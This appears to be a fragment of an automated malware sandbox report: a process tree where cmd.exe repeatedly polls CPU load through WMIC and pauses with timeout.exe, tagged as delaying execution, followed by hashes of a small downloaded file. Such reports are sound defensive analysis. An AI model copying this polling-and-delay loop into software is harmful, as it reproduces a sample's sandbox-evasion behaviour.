C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4900
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4372
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4300
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4024
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3320
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3592
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:3992
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1540
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:768
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2396
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3504
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:2628
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1480
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3216
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82